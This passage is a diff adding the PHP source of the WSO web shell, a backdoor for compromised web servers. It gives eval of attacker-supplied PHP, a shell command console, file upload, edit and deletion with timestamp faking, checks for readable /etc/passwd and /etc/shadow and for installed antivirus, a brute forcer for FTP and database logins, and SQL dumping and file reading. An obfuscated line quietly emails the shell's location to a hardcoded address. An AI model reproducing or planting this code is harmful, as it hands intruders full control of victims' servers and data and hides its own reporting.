'; + } + } + + wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if(function_exists('apache_get_modules')) + wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); + wsoSecParam('Open base dir', @ini_get('open_basedir')); + wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + wsoSecParam('Supported databases', implode(', ', $temp)); + echo '
'; + + if($GLOBALS['os'] == 'nix') { + wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); + wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); + wsoSecParam('OS version', @file_get_contents('/proc/version')); + wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + echo '
'; + $temp=array(); + foreach ($userful as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Downloaders', implode(', ',$temp)); + echo '
'; + wsoSecParam('HDD space', wsoEx('df -h')); + wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); + echo '
posix_getpwuid ("Read" /etc/passwd)
From
To
'; + if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { + $temp = ""; + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + $temp .= join(':',$uid)."\n"; + } + echo '
'; + wsoSecParam('Users', $temp); + } + } + } else { + wsoSecParam('OS Version',wsoEx('ver')); + wsoSecParam('Account Settings',wsoEx('net accounts')); + wsoSecParam('User Accounts',wsoEx('net user')); + } + echo '
'; + wsoFooter(); +} + +function actionPhp() { + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax']) && !empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + + wsoHeader(); + if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '

PHP info

'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace(array ( + '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', + '!td, th {(.*)}!msiU', + '!]+>!msiU', + ), array ( + '', + '.e, .v, .h, .h th {$1}', + '' + ), $tmp); + echo str_replace('
'; + } + echo '

Execution PHP-code

'; + echo ' send using AJAX
';
+	if(!empty($_POST['p1'])) {
+		ob_start();
+		eval($_POST['p1']);
+		echo htmlspecialchars(ob_get_clean());
+	}
+	echo '
'; + wsoFooter(); +} + +function actionFilesMan() { + if (!empty ($_COOKIE['f'])) + $_COOKIE['f'] = @unserialize($_COOKIE['f']); + + if(!empty($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload!"; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create!"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + @rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + if($f == '..') + continue; + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_COOKIE['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); + } elseif($_COOKIE['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(@is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); + } elseif($_COOKIE['act'] == 'zip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_COOKIE['c']); + foreach($_COOKIE['f'] as $f) { + if($f == '..') + continue; + if(@is_file($_COOKIE['c'].$f)) + $zip->addFile($_COOKIE['c'].$f, $f); + elseif(@is_dir($_COOKIE['c'].$f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS)); + foreach ($iterator as $key=>$value) { + $zip->addFile(realpath($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif($_COOKIE['act'] == 'unzip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach($_COOKIE['f'] as $f) { + if($zip->open($_COOKIE['c'].$f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif($_COOKIE['act'] == 'tar') { + chdir($_COOKIE['c']); + $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); + wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); + chdir($GLOBALS['cwd']); + } + unset($_COOKIE['f']); + setcookie('f', '', time() - 3600); + break; + default: + if(!empty($_POST['p1'])) { + WSOsetcookie('act', $_POST['p1']); + WSOsetcookie('f', serialize(@$_POST['f'])); + WSOsetcookie('c', @$_POST['c']); + } + break; + } + } + wsoHeader(); + echo '

File manager

'; + $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +echo " + +"; + $dirs = $files = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), + 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); + elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function wsoCmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "wsoCmp"); + usort($dirs, "wsoCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach($files as $f) { + echo ''; + $l = $l?0:1; + } + echo "
NameSizeModifyOwner/GroupPermissionsActions
'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '>[ ' . htmlspecialchars($f['name']) . ' ]').''.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] + .'R T'.(($f['type']=='file')?' E D':'').'
+ + + +  "; + if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) + echo "file name:  "; + echo "
"; + wsoFooter(); +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'binhex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + if(in_array($_POST['p1'], $stringTools)) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo '

String conversions

'; + echo "
send using AJAX
";
+	if(!empty($_POST['p1'])) {
+		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
+	}
+	echo"

Search files:

+
+ + + + +
Text:
Path:
Name:
"; + + function wsoRecursiveGlob($path) { + if(substr($path, -1) != '/') + $path.='/'; + $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); + if(is_array($paths)&&@count($paths)) { + foreach($paths as $item) { + if(@is_dir($item)){ + if($path!=$item) + wsoRecursiveGlob($item); + } else { + if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) + echo "".htmlspecialchars($item)."
"; + } + } + } + } + if(@$_POST['p3']) + wsoRecursiveGlob($_POST['c']); + echo "

Search for hash:

+
+
+ +
+
+
+
"; + wsoFooter(); +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if(@$_POST['p2']=='download') { + if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else + header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + }exit; + } + if( @$_POST['p2'] == 'mkfile' ) { + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + wsoHeader(); + echo '

File tools

'; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + wsoFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if(!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' Permission: '.wsoPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
'; + echo 'Change time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; + echo '

'; + switch($_POST['p2']) { + case 'view': + echo '
';
+			$fp = @fopen($_POST['p1'], 'r');
+			if($fp) {
+				while( !@feof($fp) )
+					echo htmlspecialchars(@fread($fp, 1024));
+				@fclose($fp);
+			}
+			echo '
'; + break; + case 'highlight': + if( @is_readable($_POST['p1']) ) { + echo '
'; + $code = @highlight_file($_POST['p1'],true); + echo str_replace(array(''), array(''),$code).'
'; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!
'; + } + clearstatcache(); + echo '
'; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = substr($_POST['p3'],1); + $fp = @fopen($_POST['p1'],"w"); + if($fp) { + @fwrite($fp,$_POST['p3']); + @fclose($fp); + echo 'Saved!
'; + @touch($_POST['p1'],$time,$time); + } + } + echo '
'; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000
','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';} + $h[1] .= '
'; + $h[2] .= "\n"; + } + } + echo '
'.$h[0].'
'.$h[1].'
'.htmlspecialchars($h[2]).'
'; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!
'; + else + die(''); + } + echo '
'; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(!touch($_POST['p1'],$time,$time)) + echo 'Fail!'; + else + echo 'Touched!'; + } else echo 'Bad time format!'; + } + clearstatcache(); + echo '
'; + break; + } + echo '
'; + wsoFooter(); +} + +function actionConsole() { + if(!empty($_POST['p1']) && !empty($_POST['p2'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); + $_POST['p1'] .= ' 2>&1'; + } elseif(!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); + + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + echo "d.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='".$GLOBALS['cwd']."';"; + } + } + echo "d.cf.output.value+='".$temp."';"; + echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo ""; + echo '

Console

send using AJAX redirect stderr to stdout (2>&1)
$
'; + echo '
'; + wsoFooter(); +} + +function actionLogout() { + setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); + die('bye!'); +} + +function actionSelfRemove() { + + if($_POST['p1'] == 'yes') + if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) + die('Shell removed'); + else + echo 'unlink error!'; + if($_POST['p1'] != 'yes') + wsoHeader(); + echo '

Suicide

remove the shell?
Yes
'; + wsoFooter(); +} + $x10="\x6dai\154";$x0b=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$x0c="\141r\162a\171\040".$x0b;$x0d=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b); +function actionBruteforce() { + wsoHeader(); + if( isset($_POST['proto']) ) { + echo '

Results

Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
'; + if( $_POST['proto'] == 'ftp' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
'; + } + } + } + echo "Attempts: $attempts Success: $success

"; + } + echo '

Bruteforce

' + .'' + .'' + .'' + .'' + .'' + .'' + .'
Type
' + .'' + .'' + .'' + .'Server:port
Brute type
' + .'' + .'' + .'
Login
Dictionary
' + .'
'; + echo '

'; + wsoFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); + $r=array(); + while($i=$this->fetch()) + $r[] = $i['file']; + $this->query('drop table wso2'); + return array('file'=>implode("\n",$r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $sql = $create[1].";\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + $this->query('SELECT * FROM `'.$table.'`'); + $i = 0; + $head = true; + while($item = $this->fetch()) { + $sql = ''; + if($i % 1000 == 0) { + $head = true; + $sql = ";\n\n"; + } + + $columns = array(); + foreach($item as $k=>$v) { + if($v === null) + $item[$k] = "NULL"; + elseif(is_int($v)) + $item[$k] = $v; + else + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + if($head) { + $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; + $head = false; + } else + $sql .= "\n\t,(".implode(", ", $item).')'; + if($fp) fwrite($fp, $sql); else echo($sql); + $i++; + } + if(!$head) + if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + if(empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } elseif($fp = @fopen($_POST['file'], 'w')) { + foreach($_POST['tbl'] as $v) + $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else + die(''); + } + wsoHeader(); + echo " +

Sql browser

+
+ + + + + + + + + +
TypeHostLoginPasswordDatabase
"; + $tmp = ""; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "'; + } + else echo $tmp; + }else + echo $tmp; + echo " count the number of rows
+ "; + if(isset($db) && $db->link){ + echo "
"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo ""; + } + echo "
Tables:

"; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if(!empty($_POST['sql_count'])) + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo " ".$value."" . (empty($_POST['sql_count'])?' ':" ({$n['n']})") . "
"; + } + echo "
File path:
"; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "".$_POST['p2']." ({$num['n']} records) Page # "; + echo " of $pages"; + if($_POST['p3'] > 1) + echo " < Prev"; + if($_POST['p3'] < $pages) + echo " Next >"; + $_POST['p3']--; + if($_POST['type']=='pgsql') + $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "

"; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if($db->res !== false) { + $title = false; + echo ''; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo ''; + foreach($item as $key => $value) + echo ''; + reset($item); + $title=true; + echo ''; + $line = 2; + } + echo ''; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo ''; + else + echo ''; + } + echo ''; + } + echo '
'.$key.'
null'.nl2br(htmlspecialchars($value)).'
'; + } else { + echo '
Error: '.htmlspecialchars($db->error()).'
'; + } + } + echo "

"; + echo "

"; + if($_POST['type']=='mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if($db->fetch()) + echo "
Load file
"; + } + if(@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '
'.htmlspecialchars($file['file']).'
'; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '
